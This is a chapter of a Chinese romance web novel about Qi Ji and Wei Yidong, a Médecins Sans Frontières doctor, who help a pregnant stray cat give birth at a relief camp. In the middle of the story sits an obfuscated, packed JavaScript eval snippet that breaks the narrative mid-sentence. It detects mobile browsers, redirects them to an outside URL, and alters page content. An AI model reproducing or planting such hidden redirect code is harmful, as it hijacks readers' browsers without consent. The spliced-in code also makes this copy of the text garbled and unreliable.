曲琳琳给卫以东送完药就折身出去,不知道去了哪里,peter靠坐在里面的地上,脑袋一点一点的,快要入睡。祁寂捧着手里的小说,闪烁其辞的眼神紧粘在页面上,不敢挪开半分。 明明之后的那些字她每一个都认识,但是当它们组合到一起,甚至还要她读出来的时候,她忽然就有点手足无错。 比起害羞与报赧,更多的是尴尬和燥耻—— 这种本就是由女生通过幻想而加以修饰描写出的、为了给自己或者她人提供一个心灵寄托的夸张文学,既不适合进行深入考究,又不属于男生们喜欢阅读的范畴,就是光让他看看里面的内容她都觉得羞耻,更别说还要这么公然读出来。 也就是当时脑子短路,不然她高低不会做出这种社死的事情。 再加上他这么一催,她恨不得直接把通红的脸蛋儿埋进书里装死。 “之后...嗯...之后...”祁寂略显干涩的唇瓣蠕动着,暗自尝试好几次,都没办法再读下去,索性破罐子破摔道:“没有之后了!我不读了!!!” 她“啪”的一声把书合上,别过头去独自较劲。 头顶上的白炽灯因为她恼羞成怒的动作被震颤出影影绰绰的光影,卫以东见她被他惹恼,没再用那副不正经的姿态调侃她。 他肩膀一顶,从隔帘前站直,“生气了?小不点。” 祁寂没有回头,轻轻“哼”了道。 两人之间的距离隔得不算近,他又不能擅自出去,只能通过她直挺挺的背影揣摩她的情绪,自然没法了解的太过透彻。 在这种情况下,宁可错怪也不能放过,他没多犹豫就主动跟她低头道:“我没有嘲笑你的意思,念挺好的,我只是单纯好奇之后的情节发展而已。” “......” “......” “...真的?”祁寂咬了咬下唇,态度有所松动,却依旧没有回头,生怕自己一跟他对视就会露馅儿,“你没骗我?” “保真,不过你要不想读的话可以不读。” “那你就在里面干坐着吗?” “不会啊,你这不是还在?我们可以聊点别的。” “别的指什么?” “嗯,我想想,”他曲臂摸了下长出青茬的下巴,不多时,就挑起一个无功无过的话题,“你家里有养小宠物吗?” 祁寂松懈肩膀,慢慢回过头来,目光定定道:“没有。我喜欢小猫,但我爸爸对猫毛过敏,就一直没有养过。” 卫以东愣了下,没想到这个话题都能扯到她爸身上,他面色如常的“嗯”了下,不动声色地转变话弯,“这里有很多流浪猫,之前看到过吗?” “刚刚遇到了一只,姐姐说是橘猫,我们喂了它两块压缩干粮,很乖,看起来不胖,但是肚子挺大的,摸起来好舒服,还一直跟着我们。” “不过不知道它现在跑到哪里去了。” 如果不是这样的话,她还挺想给他看看那只橘猫的。 又乖又好摸,讨喜的很。 “橘猫?”听她这么说,他挑了下眉头,视线绕过她头顶,径直望向帐篷口道:“它是不是头上有块白,身上全是灰,四条腿很细,但肚子看起来蛮大的?” 祁寂倏然昂起头来。 眼眸里满载惊喜与不可置信地问:“你怎么知道?!你也见过它吗?!” “看门口,它应该是在等你。” “?” “!!!” 余光捕捉到探进帐篷口那只若隐若现的小猫脑袋,祁寂整个人都兴奋起来。 她手忙脚乱地把怀里的小说搁到地上,近乎是从小马扎上蹦起来的,三步并作两步冲到帐篷入口处。 大橘有点被她的动作吓到。 注意到她朝它走,它本能地缩着身子向后退开一步,用略带惧怕的眼神看向她。 整只猫都显得有些惊恐不安。 大抵是因为她及时停在它面前,没再继续逼近,又或者是察觉出她并没有伤害它的意思,只是想跟它打招呼,不出三秒钟,它便又壮起胆子向她探过头来,用蹭满灰的小鼻子疯狂嗅她。 祁寂目露欣喜。 小心翼翼地伸出右手停在它鼻子前,让它再次熟悉她的气味,与此同时,她没忍住回头,用闪闪发亮的眼眸望向卫以东。 卫以东邪气地冲她挑了下眉头,唇角勾起道耐人寻味的笑。 她晃了晃眼神,似被烫到般缩回视线。 梗着脖子不敢再看他。 刚才在帐篷外面碰到它的时候天色太黑了,周围跟黑灯瞎火也差不了多少,导致她只能大体瞧出它肚子圆滚滚的,还以为它是之前被喂得好,可现下,有了光线的加持,她才蓦然察觉出: 好像不太对劲儿。 如果只是单纯吃得多的话,它不应该是这种四肢纤细、仅仅肚子大的状态,应该是从头胖到脚的,而且,她试着摸它的脑袋没事,但只要一有想往它肚皮处探的动作,它就会张嘴咬她。 力道不重,却足够有警示意味。 让她有些摸不着头脑。 不等她想清楚到底是哪里不对劲儿,身后的卫以东率先发挥了他的职业本能。 他语气沉甸甸的打过来,“小不点,给我看眼猫。” 她微微愣怔,立马挪开身体让他能够彻头彻尾的看清大橘。 几乎是她刚蹲稳脚步,他就有了结论—— “它不是胖,是怀孕了。” “啊?!”祁寂不敢相信地扭头看他,对上他肯定到不能再肯定的眼神,又回过身来看面前的小猫,指尖清颤,“那,那怎么办啊?这里也没有兽医,万一它——” “——你先别急,按我说的来。” 卫以东指了指不远处台面上放着的纸巾,不急不燥地对她说:“扯两张纸巾,探到它□□看看是不是出血了。” 祁寂毫不犹豫地照做。 将那张洇满被稀释过的血水的纸巾拿给他看,“有!而且还不少!它是不是现在就要——” “——应该不是,不过也就一两天内的事情了。” “!!!” “那怎么办!我要给它准备什么东西吗?” “去物资领取处问救援队的要一个稍微大一点但是别太深的箱子,然后看看他们那边有没有多余的马甲或者衣服,尽量选软一点的,铺进去。三明治没到的话,先问他们把明天的压缩干粮领了,你两个我两个应该够它补充下能量,就这样,先做。” 她面色着急的听完,丝毫不敢耽搁地去做。 正好昨晚新到了一批药品,那些药品就是用纸箱子装的,祁寂接过纸箱子,问救援队队员要衣服。 救援队员翻找了一下,直起腰来冲她摇头,“衣服已经发完了,你要领的话,得等明天下午那批到——” “——等不了!小猫马上要生孩子了!需要衣服保暖!!!” “小猫?” “对,是这边的一只流浪猫。” “这样啊,那你等下,”他似是而非的踌躇了下,随即,反手脱下自己身上的橘色救援服搁到桌面上,三下五除二地把穿在里面的棉质短袖拽下来,内侧朝外的递过来,“用这个可以吧?” “是阿迪达斯的,当时买的时候店员跟我说是纯棉的,按道理来说我穿的这么舒服的话,小猫不会觉得不舒服的。” 她没有去接,有些犹豫,“可以是可以,但你怎么——” 吉隆坡这边的气温高是高,但也只有白天的温度才能上30度,夜间一般都是20度出头,不算冷,却也不够暖和,更别提前几天还一直在下大暴雨,化雨的时候体感温度就会更低...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512213|168736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可她没说完,救援队队员就不受控制地打了个哆嗦。 他缩了下脖子,不容置喙地把手里的衣服塞进她怀里,着手拎起橘色的救援服赶紧往身上套。不忘打消她的担忧:“——没事,这外套保暖得很,你赶紧去救小猫吧,几条生命呢。” “谢谢你!哥哥!” “不用,我家里也有只收养的流浪猫,虽然没帮它接生过,但如果你们需要帮忙的话可以随时过来找我,今晚我执勤。” “好!”她三下两下把那件纯棉短袖铺进箱底,想起什么,又对正在拉拉链的他说:“那个,哥哥,我能不能提前把明天的压缩干粮领走?小猫需要——” “——可以。两个不够吧?把我的那份也领走好了,这还有瓶牛奶,临走的时候我女朋友给我的,一直没顾上喝,你也拿去给小猫喝吧。” “小猫好像不能喝牛奶......” “这个是舒化奶,小猫能喝的。” “好!”祁寂被他的这种行为暖得有些动容,很想再对他说些什么,可是,想来想去,除了道谢的言语外,什么都说不出来,“那就谢谢哥哥啦!!” 救援队员无甚所谓的朝她摆摆手,她抱起装满东西的纸箱子拔腿就往帐篷口冲。 大橘很乖。 或许是知道他们要救它,乖乖的站在帐篷口等着。 听到她急促而无规律的沉重脚步声,甚至还故意偏过头来,对她细细软软的“喵”了一下。 那瞬间。 祁寂的心都要被它叫化了。 她把怀里的纸箱放到它旁边,先将里面的压缩干粮和舒化奶拿进去,放到小马扎上,才打算折返回去把小猫抱进箱子里再端进来给卫以东看。 却不想。 刚一抬头,她的目光就直愣愣地对上八块纹理清晰的腹肌。 是卫以东那个骚包的。 他身体的颜色要比脸的颜色稍微浅一点,不过差得不多,都是十分健康有力量的小麦色,不光腹部肌肉整齐漂亮的排布出震撼人心的男性荷尔蒙,就连他的胸部和手臂都被大块却不夸张的肌肉填充、膨胀,远远看着,就让人垂涎欲滴。 其实在此之前,祁寂一直以为自己对肌肉男敬谢不敏。 毕竟她身边唯一的一个肌肉男,是舅舅家刚上大学的哥哥,也不知道怎么就忽然迷上了健身,天天去健身房,喝蛋白粉,还美黑,把自己搞得跟缩小版的施瓦辛格一样。 不能说不好看,只能说她欣赏不来。 比起油油腻腻的大肌肉男,她觉得她还是更喜欢清瘦白皙却阳光的大男孩,至少,看起来很干净,让人感觉很舒服。 但是现在。 她忽然就发现—— 她不是不喜欢肌肉男,欣赏不来肌肉男,只是不喜欢长得不怎么好看的、还很油腻的肌肉男罢了。 像卫以东这样的,就正正好。 正好是她喜欢的类型。 卫以东见她如狼似虎地盯着他的身体,整个人像是被石化了一般完全没有任何动作,他不禁失笑了下,故意提醒的重重咳嗽了一下。 祁寂听到声音,立马回神。 脸上瞬间晕染开火烧火燎的红意,从耳根一直红到脖子,眼神也闪躲着,不敢再往他那边看。 本以为他肯定不会放过这个好机会,高低得调侃她几句,不料,他只是扬了扬抓着黑衬衫的手腕,让她把他的衣服拿走。 “我听到了,他说衣服发完了,”他面色无比坦荡道:“我衬衫外面有点脏,用里面垫吧,有点汗,但应该早就干了,先将就一下用吧。” “痢疾只会传染人,不会传染猫,接触到患者□□的隔离服也被我扔掉了,这件不会沾上痢疾的,放心。” 她有些傻住了。 原来他脱衣服给她看身体是这个原因。 气温更加灼烧的同时,她不禁脱口而出的质问道:“那你不能因为要给它就不穿衣服啊!让别人看到像什么样子!” “还能像什么样子?就无国界医生的样子呗。” “......” “啊?什么?” “我说,”他抬手撩了把头发,将吹落在额前的碎发一把拢到脑后,抓出凌乱却欲气满满的背头。他一字一顿道:“像无国界医生的样子。” “生命至上,爱无国界。” “为了拯救生命,脱件衣服又能怎样?” 13.接生 大橘早就趁她不注意跳进纸箱里,侧瘫在纯棉短袖上昏昏欲睡。 祁寂不舍得把它赶走,只好撩起短袖的边角,一点点把卫以东的黑衬衫塞进去,尽可能的铺展在底下,让它能够瘫得更舒服一些。 做完这些,她轻轻端起纸箱,把它放到卫以东脚前。 抱起那一堆食物坐回小马扎上。 “卫以东,”她压低脑袋,目光空空的看向自己被吊起来的左手,轻声唤他,“我看着它,你先睡会儿吧。” 卫以东蹲在地上,隔着一层透明隔帘逗大橘,“我不困,你睡。” “我睡不着。” “我也是。” “......” “......” “既然这样,那继续聊天吧。” 他不说聊天还好,一说聊天,就让她猝不及防地想起那天廖垣生跟曲琳琳说的话。她沉默良久后,攥紧双拳,近乎呢哝的问他:“你们...是不是马上就要走了?” “?”卫以东停下逗猫的动作,撩眼看她,“你听谁说的?曲琳琳?” “不是,是廖队长说的,他说你们再呆三天就要走了。” “他就是个大喇叭。” “所以......他说的是真的吗?” “半真半假吧,”他蹲得很标准,跟正儿八经当过兵的一样,利落又□□。他知道在这种事情上面撒谎也无济于事,索性直接坦白道:“原本定的是等今天下午第二批医生到了就走,但是出了这档子事儿,只能明天早上再走了。” 尽管心里清楚她们注定要分别,只是或早或晚的事情而已,可真当亲耳听到这迫在眉睫的安排时,她心底还是无法抑制的泛起股难受劲儿。 连带情绪都变得低落起来。 半晌不愿再说话。 peter早就靠在墙边睡着了,不仅没有被她们之间的动静吵醒,反而有点不顾他人死活地开始打起震天响的呼噜,如果不是外面的月亮很透亮,并不是被云层污染过的毛月亮,她们高低要认为是打雷了。 打鼾声时高时低,此起彼伏,为这间光线不够明亮、气氛却足够死寂的帐篷内挥洒出不会令人感觉到煎熬的笑料,卫以东皮笑肉不笑地划拉他一眼,第一次觉得他的“闷雷”还挺有眼力见。 让他俩之间的氛围没有那么尴尬。 大橘应该是累了,圆滚滚的眼睛眯成一条缝,脑袋也耷拉到衣服上,不再跟他玩耍,他顺势坐到地上,盘起双腿。 单手托腮地斜仰向她,猝然出声,“嘿,小不点。” “啊?!” “别想这个了,之前的话题还没聊完呢。” “...之前的话题?” “刚刚在外面你不是问我有什么梦想?我还没说完。” 经过提醒,祁寂蓦然回忆起之前她们没能聊完就被打断的那个话题,可是眼下,她已经没有那么想知道了。至少,比起他“或许短时间内无法触及”的梦想,她还是更关注“能看得见摸得着”的离别。 可卫以东不乐意。 她不说,他就主动提,非要让她再次掺和进来道:“快点,别发呆了,再问一次我的梦想是什么,我说给你听。” “......好吧,”她被磨的没脾气,有些行将就木的问道:“那...你的梦想是什么?” “我希望,以后在我最喜欢的夏天里可以天天阳光明媚,风和柳绿,让我有机会能好好度过一个安稳的生日。” 在听到他的准确回答之前,祁寂一直以为“以后在我最喜欢的夏天里”这句话后面会跟一些比较大爱、比较无私的愿望,比如,不要地震,不要海啸,不要再有战争,亦或者是,世界可以和平这种百分百能够契合他这个人的宏大想法,但她没想到,他的梦想竟然会如此质朴。 质朴到对很大一部分人来说都是唾手可得的。 并没有多么新奇。 她不由自主地被他这个超乎预料的回答勾走浑浊的思绪,近乎无脑地顺着他的话茬往下追问:“生日?你的生日是几月几号啊?” “9月9号,处·女座,你呢?” “我?我是3月21号的。” “3月21...嗯...应该正好是白羊座。” “白羊座?这是什么?” “星座,是按出生日期划分的,星座不同性格也会有不同的差异,”终于把她的脑回路打散又重新组装,卫以东显而易见地松快下来,他就着这个以前根本不感兴趣的话题不断跟她发散道:“比如我是处·女座,我就会有点洁癖和完美主义,你是白羊座的话,性格很像小太阳,每天都朝气蓬勃的,行动力也会很强。” 祁寂听后目瞪口呆:“?!” “星座这么准的吗?!”她惊呼道:“还有什么?!我还想听。” “你等我想想。” “好!” “充满活力,热情似火,坦率真诚,勇敢无畏,但是有时候也会钻牛角尖,不听别人劝阻,固执己见?” “?!!!” “哇!你说的全对欸!好神奇!” “是吧,”见她眼冒星星,从头到脚都写着崇拜与震惊,他暗自失笑,总觉得自己是在哄小孩,但又不得不哄到底,“如果感兴趣的话等回去可以了解一下,以你的学习水平来看,肯定能很快就精通。” 祁寂率真地应道:“好!” 俨然将刚才的“闹心”全都抛之脑后。 之后又有一茬没一茬的跟他聊了一会儿,随着月头逐渐移动,为漆黑一团的天幕破开零零碎碎的亮光时,她终于再撑不住,几个打盹之后,埋在膝盖上沉沉睡了过去。 半晌没得到回应的卫以东偏头看她,见她就那么坐在小马扎睡了过去,没忍住轻轻笑了下。 他搓了搓薄茧脱落的指腹,将后脑勺抵到隔帘上放空思绪。 独自默不作声地等待着天光大亮。 曲琳琳熬了一个通宵,专程把他俩的血液样本拿去市中心的医院进行血常规测试,得到明确的结果才安心地跑回来,打算告知他俩这个好消息。 一进帐篷,就瞥见睡在小马扎上的祁寂。 她没再大喊大叫,改为蹑手蹑脚地凑到卫以东身后,用手指轻轻点了点他的后脑勺,“嘿,混蛋,你也睡着了?” “醒着,”他没回头,只是昂起脑袋,“血常规结果出来了?” “嗯呐。” “怎么说?” “结果不太好,”她把显示数据正常的血常规报告藏到身后,故作惋惜的骗他,“你俩都感染了细菌性痢疾。” 卫以东浅浅扫她一眼。 明知故犯地配合她幼稚的小把戏,腔调满是浑不吝道:“唔,那可坏了,一个不注意,又给你老相好跟你调·情的机会了。” “卫以东!你想死是不是?!” “哈哈哈哈,逗你的,不过启程日期可能要往后拖一拖了。” “为啥?”曲琳琳惊诧道:“是还有什么事情要处理么?” “你脚边的祖宗马上要生了,这边的医生不一定懂怎么给动物接生,等它生完再走吧。” 也是他说的时候,她才发现脚边的纸箱里还有只猫,定睛一看,好巧不巧是昨晚她刚跟小奇迹投喂过的那只大橘。 正专心致志地舔舐自己的肚皮。 浑身都散发着母性的光辉。 “欸?”她不由得好奇道:“原来它是怀孕了啊,昨晚没看清,我还以为它肚子大是吃胖的来着。” 卫以东懒洋洋的伸了个懒腰,“嗯。” “你嗯鸡毛呢?” “不是,我嗯一句都要挨骂?” 曲琳琳笑得不行,回嘴呛他,“那咋啦?这两天看你不顺眼不行?” “行行行,一点问题没有,”他完全不生气,吊儿郎当的挑起眉眼道:“话说,这个点你老相好应该醒了,能不能帮我去借件衣服?” “啊?我靠!我才发现,你怎么没穿衣服?!你不会趁我不在对小奇迹耍流氓了吧?!卫以东!你还是不是——” “——啧,别多想,我衣服在猫身子底下。” “......” “...吓死我了,我差点就要报警了。” “我在你眼里就是这种人?” “那当然啦,”她一边孜孜不倦地跟他斗嘴,一边双手撑住膝盖站起来,就要出去找廖垣生,不忘最后再扎他一下,“谁知道一个29岁都没谈过恋爱、没亲过嘴的老男人到底能做出什么匪夷所思的举动?是吧?卫以东。” 卫以东眯眼:“......” “你不懂,我这叫一心向大义。” “啊对对对,”她故作不耐地打了个哈欠,语调欠嗖嗖的挑衅道:“你最大义了,谁能大义过你啊,大义哥。” “曲,琳,琳。” “我先溜了,886。” “......” 熹光透过帐篷口细密的打进来,并没有直接晒到人身上,却令体感温度高了不少,peter巴咂两下嘴,悠悠转醒,一睁眼,正好对上斜前方赤·身·裸·体的卫以东,吓得他目露惊恐,下意识抱紧自己往角落缩。 卫以东白他一眼,抄起手边的卫生纸团砸他。 在他马上就要鬼叫出声的前一秒,他及时竖起食指抵在唇前,冲他比出个“噤声”的手势。peter愣了下,目光越过他肩头看向他身后睡得正熟的祁寂,了然地合上嘴巴。 开始给他打国际标准友好手语:“f·u·c·k you。” 卫以东就散漫不羁的笑,抬手朝他招了招。 Peter不上套,用脚尖把他扔来的那颗卫生纸球踢远,不知道想起什么来,微斜身体从口袋里掏出个什么东西,回敬他的扔过来。 他精准接住,展开手心一看。 是一条士力架。 浑笑着拆开塑料包装,两个大男人不约而同地将手往头上举了举,于触碰不到的距离中相互“cheers”了一下,才快速把能够补充能量的士力架几口吃完。 感觉身上又有劲儿了不少。 曲琳琳还没回来。 也不知道是不是又去跟廖垣生你拉我扯了,反正这么久了卫以东都一直没能搞懂,明明两个人是大学同学,又互有好感,为什么偏偏拉扯了这么多年都没能有个稍微看得过眼的结果。 她对此的回答是: 说不定哪天她就会死,没必要平白连累一个好男人。 但廖垣生显然不这么想,比起她的悲观想法,他倒是更乐观的为了能跟她多一些接触,主动选择加入救援队,一晃眼,爱情没什么进展,反倒是事业如日中天,不过34岁出头的年纪,他已经是救援队队长了。 也算是为爱变成一个更好的人。 值得敬佩。 他这么出神地想着,无意识地把手中空掉的塑料包装沿着粘合处拆开,对折,再对折,这边折一个角,那边平折一下,很快,那方塑料包装就在他手下变成一只鸟的形状。 恰好祁寂懵懂醒来。 偶然间注意到他手里把玩的折纸时,没忍住质疑出声:“你这折的什么?枪吗?” 卫以东:“......” “笨蛋,”他无可奈何的拢起眉心,把手里的东西往她那边举了举,好让她更清楚的看到,“这是和平鸽,看不出来吗?” “啊?” “......” “这里,是两个翅膀,这儿是头,只不过没笔画眼睛。” “哦哦哦,我好像看出来了。” “好像?” “比起这个,卫以东,大橘的毛好像全都湿了,是尿了吗?” 刹那间。 卫以东扔掉手里那只和平鸽,以迅雷不及掩耳之势从地上跳起来,大手一撩隔帘就冲了出来,赶忙查看大橘的状态。 祁寂站在一边,欲言又止的蠕动着唇瓣。 最后还是决定豁出去了,就算要被感染痢疾,她也一定要参与到为小猫接生的行动中,与他一起帮助新生命的诞生。 反观peter就没那么淡定了。 他目瞪口呆地看卫以东冲出隔离室,第一反应就是大跨步过来,扒在隔帘上试图大声唤回他的理智:“以东!你不能——” “——咱俩p事儿没有。甭废话了,赶紧把里面那张折叠床拿出来,手套,棉签,纱布,剪刀,碘伏,都准备好。”卫以东无比冷静地对peter说完这些,随后,抬眼将视线打过来,“小不点,马上能领早饭了,要不你——” “——我不要!” 在她对上他黝沉视线的那一刻,祁寂就明白他是什么意思,想也不想就拒绝道:“我要留在这里帮忙!” 她的言语和姿态都太过于坚定,坚定到卫以东都有点被震住。 短暂的半秒沉默后,他没再过度劝说,默认了她的参与。peter把折叠床搬出来,他立马着手将床搭好,从短袖下面把他的黑衬衫掏出来,铺到床面上,命令祁寂跟他一起把大橘抱上去。 祁寂立刻照做,将小猫抱了上去。 它毛发全湿并不是因为尿了,而是羊水破了,卫以东递给她一副一次性手套,边往手上戴边给她科普:“一般猫会在羊水破裂后的半小时到一小时之内生产,如果超过一个小时还没动静,就要考虑是难产了。” 她认真聆听,举一反三:“那如果是难产怎么办?” “分情况。生产无力,要注射催产素和葡萄糖,胎儿过大或胎位不正,要进行剖腹产手术助产。” “懂了。那我们现在怎么办?等它自己有动静吗?” “过来,我教你,”卫以东摇摇头,着手给她做示范:“张开你的虎口,大拇指卡住猫咪的脊椎,四只手指并拢,别太用力,从前往后慢慢推,像这样,可以帮助猫咪宫缩。” 祁寂按照步骤一点点摸索,做得认真又标准。 不忘让“老师”检查“作业”,“是这样吗?我做的对吗?” “很标准,能感觉到它子宫里的动静吗?” “能!还挺明显的。” “行,那就继续推,”他说着,绕过床边走到正对猫咪□□的位置,观察它的细微变化,对凑过来的peter说:“没事干?那去把滴流管剪半,插到针筒上给我拿来。” Peter不太理解,满脸懵圈,“什么?” 卫以东叹气,无奈道:“算了,你帮我去拿个针筒和滴流管过来。” 没隔多久,peter就把他要的两样东西都拿来。 他抄起剪刀,把滴流管中间隆起的莫非氏滴管从中间剪开,一分为二,之后,又依次把滴流管剪端,将漏斗形的玩意儿小口对针筒插进去,放到一边备用 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“听到了吧?这就会叫了。” 这一瞬间。 祁寂蓦然愣怔在原地。 其实之前她对于卫以东的专业性没有多么直观的感受,只是偶尔能从曲琳琳嘴里毫不吝啬的夸奖中窥见那么一二,精细,伟大,却没有任何实感可言,更多的,是对于他这个人外表和性格的感受。 硬朗的,意气风发的,帅气的,有幽默感的,轻松的,庄严郑重的,认真的,有责任感的...... 可是,无论哪个,都抵不上他现在在她面前展现属于一位无国界医生的专业性的模样的千分之一。 甚至是万分之一。 现在的他冷静,果敢,临危不惧,不仅能够井井有条地帮助猫咪生产,还能一心二用地以最简单易懂的方式教会她该如何去做,不仅不会在她问他一些在他眼里“很无知”的问题而不耐烦,反而是极富有耐心的为她解释到底为什么会出现这种情况。 现在的他慵懒,迷人,游刃有余,无论是对于大橘的状态还是她的情绪,他都了如指掌,这不仅是大橘第一次生产,更是她第一次亲手迎接新生命的到来,按道理来说,大橘应该很痛苦,她应该很慌乱,可是,因为有他在,这些本应该有的情绪全都消失不见,拥有的,只是打心底里充斥出的希望与勇气。 令她不得不去承认—— 他这个人的内心远比外表更细腻,行动远比言语更靠谱,如果说他玩世不恭的外表是行走的荷尔蒙,那么,他魅力爆棚的灵魂就是埋在骨子里的不定时春·药。 一举一动间,都能蛊惑人的心魄,勾走人的注意。 再难从他身上挪开。 “嘿!走什么神呢?”见她呆在原地,他抬头在她眼前滑过,强势无比的将她飘走的思绪重新拉回来,“还没结束,接下来的才是真正的重头戏。” 祁寂一听这话,立刻找回状态。 严阵以待着。 “猫跟人不一样,它们的子宫是双侧分叶,会有2到5对子宫角,每个子宫角都有可能受孕,所以从理论上来讲,一次怀孕可能孕育2到10个不等的胎儿,但实际情况通常都是只有3到5只。” “这么多?!那它们不是一次性生完的吗?” “不是,一只一只的生,平均半小时左右一只,我们大概要等3、4个小时。” “好久,那我现在去找个东西把干粮用牛奶给它泡上吧,让她补充一点体力。” “好,辛苦了。” “不辛苦,我很开心。” 祁寂摘掉一次性手套,出去找能够装牛奶的干净容器,像个无头苍蝇般乱撞间,不经意瞟到某个角落里站着两个人,姿态亲昵,正有说有笑,她放轻脚步凑过去,打眼一瞧,发现竟然是曲琳琳和廖垣生。 两个人不知道在说什么,好像才说到一半,廖垣生就忽然摁住曲琳琳的脑袋吻了上去,曲琳琳略微挣扎了一下,便将双手挂到他脖子上,看得出来她也很享受。 甚至,还主动加深了那个吻。 祁寂:“......” 真是麻绳专挑细处断,恩爱秀给未成年看。 怕停留太久会被两人抓住,她调转脚尖撒腿朝她俩的反方向跑,经过物资领取处时猛然瞥到摆在桌子上的矿泉水,她又刹回去,问救援队员领了三瓶水。 一瓶她喝,一瓶卫以东喝,一瓶peter喝。 喝完的水瓶剪开刚好能用来装牛奶。 Peter听后,直接一口气把整瓶水闷完,用剪刀给小猫剪出一个浅口的容器,又细心地把边沿处的齿痕磨平,防止划到它。 祁寂先把压缩干粮掰碎放进去 ,又给它加了一部分牛奶,才放到它面前。 大橘很给面子。 埋头进去苦吃着,一眨眼,食物就见底。 她又给它添了一碗,它还想凑过来吃,却不料,第二只小猫已经迫不及待要出来了。peter又递给她一副新手套,这次,她没让卫以东帮忙,学着他之前的手法把第二只小猫接出来,为它撕去覆膜,吸出羊水。 小猫细细软软叫出声的那一刻,她眼底充斥起自己全然不知的光点。 她小心翼翼地握着不停嚎叫的小猫,目露期冀的看向卫以东。她的眼睛又圆又大,里面闪烁着近乎刺眼的星点,只一眼,就让他控制不住的出神。 意识到自己有些失态,他轻咳一声,移开视线,却对她大加赞赏道:“做得很棒,如果我是你们专业课的老师,我肯定会给你满分。” “真的吗?!” “真的。” “那真是太好了!”她欢欣鼓舞地笑着,周身都嵌满神采飞扬的满足感与成就感,她抑制不住地反复去欣赏被她亲手迎接出来的生命,这一刻的激动与兴奋是任何事情都无法替代的,“啊啊啊啊!这是一条新生命欸!卫以东!好神奇啊!我之前以为我会害怕这些东西的!没想到一点都不怕!还有点兴奋!” “不行!我真的好高兴啊!怎么办!我好喜欢它!” 卫以东把食物碗往大橘面前推了推,跟她一起笑,“这是你亲手迎接出来的第一条新生命,怎么样?是不是感觉生命就是这个世界上最至高无上的东西。” “是!在我眼里,没有什么是比生命更美好、更贵重的东西了!” “我也觉得。生命自诞生以来就是带有重量的,无论发生什么都不应该自轻自贱,更不该被别有所图的人视如粪土。” “你说得话好有哲理啊,好想摘抄一下。” “不用摘抄,等你再长大一点也能说出这么有哲理的话。” “嗯?”祁寂抻大眼眶,略有些不理解,“是因为我经历的事情多了就会有素材了吗?” 卫以东就笑。 笑得意味深长,“不是,是因为这个世界太操蛋了,当你没办法用行动反抗的时候,就会自动变成用思想顽抗的哲学家。” “唔,还是不太能听懂......” “好好长大吧,小不点,别想这么多,只需要记住:之后的日子,无论遇到什么,发生什么,都请你务必把自己的生命视作最至高无上的礼物,接纳它,珍视它,保护它,直到它被夺走的最后一刻。” “这样就够了。”